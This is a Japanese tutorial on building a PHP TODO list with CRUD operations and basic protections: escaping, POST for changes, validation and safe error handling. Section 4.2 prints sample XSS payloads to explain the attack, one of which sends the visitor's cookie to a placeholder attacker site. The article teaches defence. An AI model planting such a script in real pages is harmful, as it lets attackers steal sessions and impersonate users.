PHPでTODOリスト作成|CRUDとセキュリティ対策を実践
PHPでTODOリスト作成|CRUDとセキュリティ対策を実践
1. はじめに
前回の記事(PHP基礎文法とDB接続の安全な書き方|他言語経験者向け)では、PHPの基本文法とPDOによる安全なDB接続を学びました。
1.1 これまでの記事で学んだこと
- 生成AIを使う際のセキュリティ原則と匿名化テクニック(生成AIとセキュリティの基礎知識)
- Docker環境の構築(DockerでPHP+MySQL開発環境を作る)
- PDOによる安全なDB接続とSQLインジェクション対策(PHP基礎文法とDB接続の安全な書き方)
この記事では、TODOリストのCRUD操作を実装 しながら、セキュリティ対策 も身につけます。GET/POSTの使い分け、XSS対策、バリデーションなど、実務で必須のスキルを実践的に学びます。
1.2 この記事で実践すること
- PHP基礎文法とDB接続の安全な書き方で学んだPDOの知識を活用してCRUD操作を実装
- 生成AIとセキュリティの基礎知識で学んだ匿名化テクニックを、エラーメッセージで実践
1.3 この記事の目的
- TODOリストのCRUD操作を実装
- GET/POSTの使い分けを理解
- XSS対策を実践
- バリデーションの基本を習得
- エラーメッセージの安全な扱い方を学ぶ
1.4 このシリーズ全体の流れ
| 記事 | タイトル |
|---|---|
| ✅ | 生成AIとセキュリティの基礎知識 |
| ✅ | DockerでPHP+MySQL開発環境を作る |
| ✅ | PHP基礎文法とDB接続の安全な書き方 |
| ✅ 今ここ | PHPでTODOリスト作成(CRUDとセキュリティ対策) |
| → | 手続き型PHPをクラスベースにリファクタリング |
| → | PHP実務で使うデバッグとセキュリティチェックリスト |
| → | 攻撃者の視点で学ぶPHPセキュリティ |
2. CRUD実装の全体像
2.1 TODOリストの機能
この記事で実装する機能
- Create(作成):新しいTODOを登録
- Read(読み取り):TODO一覧を表示
- Update(更新):TODOの内容を編集
- Delete(削除):TODOを削除
CRUD操作の説明
CRUDとは
- Create(作成)
- Read(読み取り)
- Update(更新)
- Delete(削除)
Webアプリケーションの基本操作です。
2.2 この記事で学ぶこと
-
GET/POSTの使い分け
- 検索・一覧表示 → GET
- 登録・更新・削除 → POST
-
XSS対策
-
htmlspecialchars()で出力をエスケープ
-
-
バリデーション
- 必須チェック、文字数チェック
-
エラーハンドリング
- 安全なエラーメッセージの表示
3. GET vs POST|使い分けの基本
HTTPメソッドの違いを理解しましょう。
3.1 GETとPOSTの違い
GETの特徴
- URLに値が残る(例:
?id=1&page=2) - ブックマークやURLシェアができる
- サーバーログに残る(機密情報には使えない)
- データ量に制限(約2000文字)
POSTの特徴
- URLに値が表示されない
- データ量の制限なし
- ログに残らない
- ブックマークできない
3.2 いつGETを使うか
使用例
- 検索:
search.php?keyword=PHP - 詳細表示:
detail.php?id=123 - ページング:
list.php?page=2
理由
- URLだけでアクセス可能
- ブックマークやシェアができる
- キャッシュしやすい
3.3 いつPOSTを使うか
使用例
- ログイン処理
- 会員登録
- データ更新
- データ削除
理由
- 機密情報を扱う場合
- データ量が多い場合
- データを変更する操作
3.4 使い分けの基準
簡単な覚え方
- データ取得 → GET
- データ変更 → POST
セキュリティ上の注意点
- パスワードなど機密情報は絶対にGETで送らない
- サーバーログに残るため、情報漏洩のリスクがある
4. XSS対策|htmlspecialcharsの使い方
XSS(クロスサイトスクリプティング)攻撃を理解し、対策を実践しましょう。
4.1 XSSとは何か
XSSは、攻撃者が悪意あるスクリプトをWebページに埋め込み、他のユーザーに実行させる攻撃です。
攻撃の流れ
- 攻撃者が掲示板やフォームに悪意あるスクリプトを投稿
- 何も知らない利用者がそのページにアクセス
- スクリプトが実行され、Cookie情報やセッションIDが盗まれる
- 攻撃者が盗んだ情報で本人になりすます
4.2 攻撃の仕組み
具体的な攻撃コード例
<!-- 攻撃者が入力するコード -->
<script>alert(document.cookie)</script>
<script>window.open('http://攻撃者サイト/?cookie='+document.cookie)</script>
4.3 危険なコード(NG例)
<?php
// ❌ NG: そのまま出力(危険!)
$title = $_POST['title'];
echo "<h1>{$title}</h1>";
?>
攻撃者が<script>alert('XSS')</script>を入力すると
- スクリプトが実行される
- Cookie情報が盗まれる可能性
4.4 安全なコード(OK例)
<?php
// ✅ OK: htmlspecialcharsでエスケープ
$title = $_POST['title'];
echo "<h1>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</h1>";
?>
htmlspecialchars()の変換
-
&→& -
"→" -
'→'(ENT_QUOTES指定時) -
<→< -
>→>
結果
- スクリプトタグが文字列として表示される
- 実行されない
4.5 htmlspecialcharsの正しい使い方
必須の書き方
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
各引数の意味
-
$input:エスケープする文字列 -
ENT_QUOTES:シングル/ダブルクォート両方変換 -
'UTF-8':文字コード指定(ないと悪用される)
いつ使うか
- ユーザー入力値を出力する時は必ずエスケープ
- データベースから取得した値を表示する時もエスケープ
5. C(Create)|TODO登録機能
データ登録を実装しましょう。
5.1 登録フォーム
www/create.phpを作成
<?php
// エラーメッセージ用
$errors = [];
$success = false;
// POST送信時のみ処理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$title = $_POST['title'] ?? '';
// バリデーション
if (empty($title)) {
$errors[] = 'タイトルは必須です';
} elseif (mb_strlen($title) > 255) {
$errors[] = 'タイトルは255文字以内で入力してください';
}
// バリデーションOKなら登録
if (empty($errors)) {
try {
$pdo = new PDO(
'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
'dbuser',
'dbpass',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
$stmt = $pdo->prepare('INSERT INTO todos (title, status) VALUES (:title, 0)');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->execute();
$success = true;
} catch (PDOException $e) {
error_log("TODO登録エラー: " . $e->getMessage());
$errors[] = 'TODO登録に失敗しました';
}
}
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>TODO登録</title>
</head>
<body>
<h1>TODO登録</h1>
<?php if ($success): ?>
<p style="color: green;">✅ TODOを登録しました!</p>
<p><a href="index.php">一覧に戻る</a></p>
<?php else: ?>
<?php if (!empty($errors)): ?>
<ul style="color: red;">
<?php foreach ($errors as $error): ?>
<li><?php echo htmlspecialchars($error, ENT_QUOTES, 'UTF-8'); ?></li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<form method="POST">
<label>タイトル:</label>
<input type="text" name="title" value="<?php echo htmlspecialchars($title ?? '', ENT_QUOTES, 'UTF-8'); ?>" maxlength="255" required>
<button type="submit">登録</button>
</form>
<?php endif; ?>
</body>
</html>
5.2 バリデーション
必須チェック
if (empty($title)) {
$errors[] = 'タイトルは必須です';
}
文字数チェック
elseif (mb_strlen($title) > 255) {
$errors[] = 'タイトルは255文字以内で入力してください';
}
注意: strlen()ではなくmb_strlen()を使う(日本語対応)
5.3 INSERT処理
$stmt = $pdo->prepare('INSERT INTO todos (title, status) VALUES (:title, 0)');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->execute();
5.4 エラー処理
try {
// DB処理
} catch (PDOException $e) {
error_log("TODO登録エラー: " . $e->getMessage());
$errors[] = 'TODO登録に失敗しました';
}
ポイント
- 詳細なエラーはログに記録
- ユーザーには汎用的なメッセージのみ表示
6. R(Read)|TODO一覧表示
データ取得と表示を実装しましょう。
6.1 SELECT処理
www/index.phpを作成
<?php
try {
$pdo = new PDO(
'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
'dbuser',
'dbpass',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
// 全件取得
$stmt = $pdo->query('SELECT * FROM todos ORDER BY created_at DESC');
$todos = $stmt->fetchAll();
} catch (PDOException $e) {
error_log("TODO取得エラー: " . $e->getMessage());
$todos = [];
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>TODO一覧</title>
</head>
<body>
<h1>TODO一覧</h1>
<p><a href="create.php">新規登録</a></p>
<?php if (empty($todos)): ?>
<p>TODOがありません</p>
<?php else: ?>
<table border="1">
<tr>
<th>ID</th>
<th>タイトル</th>
<th>ステータス</th>
<th>作成日時</th>
<th>操作</th>
</tr>
<?php foreach ($todos as $todo): ?>
<tr>
<td><?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?></td>
<td><?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?></td>
<td><?php echo $todo['status'] === 1 ? '完了' : '未完了'; ?></td>
<td><?php echo htmlspecialchars($todo['created_at'], ENT_QUOTES, 'UTF-8'); ?></td>
<td>
<a href="edit.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>">編集</a>
<a href="delete.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>" onclick="return confirm('削除しますか?')">削除</a>
</td>
</tr>
<?php endforeach; ?>
</table>
<?php endif; ?>
</body>
</html>
6.2 XSS対策
重要:出力時に必ずエスケープ
<?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?>
URLパラメータもエスケープ
<a href="edit.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>">編集</a>
7. U(Update)|TODO更新機能
データ更新を実装しましょう。
7.1 編集フォーム
www/edit.phpを作成
<?php
$errors = [];
$success = false;
$id = $_GET['id'] ?? null;
if (empty($id)) {
header('Location: index.php');
exit;
}
try {
$pdo = new PDO(
'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
'dbuser',
'dbpass',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
// データ取得
$stmt = $pdo->prepare('SELECT * FROM todos WHERE id = :id');
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$todo = $stmt->fetch();
if (!$todo) {
header('Location: index.php');
exit;
}
// POST送信時のみ処理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$title = $_POST['title'] ?? '';
$status = $_POST['status'] ?? 0;
// バリデーション
if (empty($title)) {
$errors[] = 'タイトルは必須です';
} elseif (mb_strlen($title) > 255) {
$errors[] = 'タイトルは255文字以内で入力してください';
}
// バリデーションOKなら更新
if (empty($errors)) {
$stmt = $pdo->prepare('UPDATE todos SET title = :title, status = :status WHERE id = :id');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->bindValue(':status', $status, PDO::PARAM_INT);
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$success = true;
}
} else {
// GET時は既存データを表示
$title = $todo['title'];
$status = $todo['status'];
}
} catch (PDOException $e) {
error_log("TODO更新エラー: " . $e->getMessage());
$errors[] = 'エラーが発生しました';
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>TODO編集</title>
</head>
<body>
<h1>TODO編集</h1>
<?php if ($success): ?>
<p style="color: green;">✅ TODOを更新しました!</p>
<p><a href="index.php">一覧に戻る</a></p>
<?php else: ?>
<?php if (!empty($errors)): ?>
<ul style="color: red;">
<?php foreach ($errors as $error): ?>
<li><?php echo htmlspecialchars($error, ENT_QUOTES, 'UTF-8'); ?></li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<form method="POST">
<label>タイトル:</label>
<input type="text" name="title" value="<?php echo htmlspecialchars($title ?? '', ENT_QUOTES, 'UTF-8'); ?>" maxlength="255" required>
<br>
<label>ステータス:</label>
<select name="status">
<option value="0" <?php echo ($status ?? 0) === 0 ? 'selected' : ''; ?>>未完了</option>
<option value="1" <?php echo ($status ?? 0) === 1 ? 'selected' : ''; ?>>完了</option>
</select>
<br>
<button type="submit">更新</button>
</form>
<p><a href="index.php">一覧に戻る</a></p>
<?php endif; ?>
</body>
</html>
7.2 UPDATE処理
$stmt = $pdo->prepare('UPDATE todos SET title = :title, status = :status WHERE id = :id');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->bindValue(':status', $status, PDO::PARAM_INT);
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
8. D(Delete)|TODO削除機能
データ削除を実装しましょう。
8.1 削除処理
www/delete.phpを作成
<?php
$id = $_GET['id'] ?? null;
if (empty($id)) {
header('Location: index.php');
exit;
}
try {
$pdo = new PDO(
'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
'dbuser',
'dbpass',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
// POST送信時のみ削除
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$stmt = $pdo->prepare('DELETE FROM todos WHERE id = :id');
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
header('Location: index.php');
exit;
}
// GET時は確認画面を表示
$stmt = $pdo->prepare('SELECT * FROM todos WHERE id = :id');
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$todo = $stmt->fetch();
if (!$todo) {
header('Location: index.php');
exit;
}
} catch (PDOException $e) {
error_log("TODO削除エラー: " . $e->getMessage());
header('Location: index.php');
exit;
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>TODO削除</title>
</head>
<body>
<h1>TODO削除</h1>
<p>以下のTODOを削除しますか?</p>
<p>タイトル:<?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?></p>
<form method="POST">
<button type="submit">削除</button>
<a href="index.php">キャンセル</a>
</form>
</body>
</html>
8.2 論理削除 vs 物理削除
物理削除(この記事の実装)
- データベースから完全に削除
- 復元不可
論理削除(実務でよく使われる)
-
deleted_atカラムに日時を記録 - データは残すが、表示しない
- 復元可能
実務では論理削除が多い理由
- データの復元が可能
- 監査ログとして残せる
- 誤削除のリスクを減らせる
論理削除の実装例
テーブルにdeleted_atカラムを追加
ALTER TABLE todos ADD COLUMN deleted_at DATETIME NULL;
削除処理を変更
<?php
// 論理削除(deleted_atに日時を記録)
$stmt = $pdo->prepare('UPDATE todos SET deleted_at = NOW() WHERE id = :id');
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
?>
一覧取得時に除外
<?php
// deleted_atがNULLのもののみ取得
$stmt = $pdo->query('SELECT * FROM todos WHERE deleted_at IS NULL ORDER BY created_at DESC');
$todos = $stmt->fetchAll();
?>
9. 【実践コラム】エラーメッセージの匿名化実践
生成AIとセキュリティの基礎知識で学んだ匿名化テクニックを、エラーメッセージで実践しましょう。
9.1 エラーメッセージから機密情報を除去する方法
本番環境で詳細エラーを画面表示するのは超危険です。ファイルパス、DB情報、コード構造が丸見えになって攻撃のヒントになります。
9.2 Before(NG例):機密情報が含まれる
// ❌ NG: 詳細エラーを表示
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
表示されるエラー例
Warning: mysql_connect(): Access denied for user 'admin'@'localhost'
in /var/www/html/includes/db_config.php on line 15
漏洩する情報
- ファイルパス(
/var/www/html/includes/db_config.php) - DBユーザー名(
admin) - DBホスト(
localhost) - コード構造
9.3 After(OK例):匿名化済み
// ✅ OK: 汎用メッセージ+ログ記録
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
error_log("DB接続エラー: " . $e->getMessage());
die("システムエラーが発生しました。管理者に連絡してください。");
}
ユーザーに表示される
システムエラーが発生しました。管理者に連絡してください。
ログに記録される(開発者のみ見られる)
DB接続エラー: Access denied for user 'admin'@'localhost'
9.4 生成AIに質問する際の注意点
エラーメッセージを生成AIに質問する際も、必ず匿名化 してください。
❌ NG例
「このエラーが出ます:
Warning: mysql_connect(): Access denied for user 'admin'@'192.168.1.100'
in /var/www/company/secret/includes/db.php on line 15
どうすればいいですか?」
✅ OK例
「このエラーが出ます:
Warning: mysql_connect(): Access denied for user 'dbuser'@'localhost'
in /path/to/includes/db.php on line 15
どうすればいいですか?」
匿名化のポイント
- ファイルパス →
/path/to/に置換 - IPアドレス →
localhost - 機密性の高いディレクトリ名(
secret、company)を削除
9.5 エラー処理のベストプラクティス
開発環境
error_reporting(E_ALL);
ini_set('display_errors', 1);
本番環境
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php/error.log');
環境別自動切替
$is_dev = ($_SERVER['SERVER_NAME'] === 'localhost');
error_reporting(E_ALL);
ini_set('display_errors', $is_dev ? 1 : 0);
ini_set('log_errors', 1);
10. まとめ|次のステップ
おめでとうございます!TODOリストのCRUD操作を実装し、セキュリティ対策も身につけました。
10.1 この記事で学んだこと
- CRUD操作の実装(Create、Read、Update、Delete)
- GET/POSTの使い分け
- XSS対策(
htmlspecialchars()) - バリデーションの基本
- エラーメッセージの安全な扱い方
10.2 セキュリティを意識した書き方
- ✅ 出力時に必ず
htmlspecialchars()でエスケープ - ✅ データ変更はPOSTで送信
- ✅ エラーメッセージはログに記録、ユーザーには汎用メッセージ
- ✅ バリデーションで不正入力を防ぐ
10.3 次のステップ
次回は、手続き型コードをクラスベースにリファクタリング します。保守性を向上させながら、Composerや名前空間も学びます。
10.4 困った時は
- エラーが出たら、まず
docker-compose logs -fでログを確認 - 詰まったら、生成AIに質問してみましょう(ただし、セキュリティは守って)
- 生成AIとセキュリティの基礎知識の匿名化チェックリストを確認
11. 参考資料
11.1 PHP公式ドキュメント
11.2 信頼できる解説記事
12. 📚 シリーズ記事一覧
この記事: PHPでTODOリスト作成(CRUDとセキュリティ対策)
前の記事: PHP基礎文法とDB接続の安全な書き方
→ PHPの基本文法を他言語と比較しながら理解し、安全なDB接続方法を習得します。
次の記事: 手続き型PHPをクラスベースにリファクタリング
→ 手続き型コードをクラスベースに書き換え、保守性を向上させます。
Discussion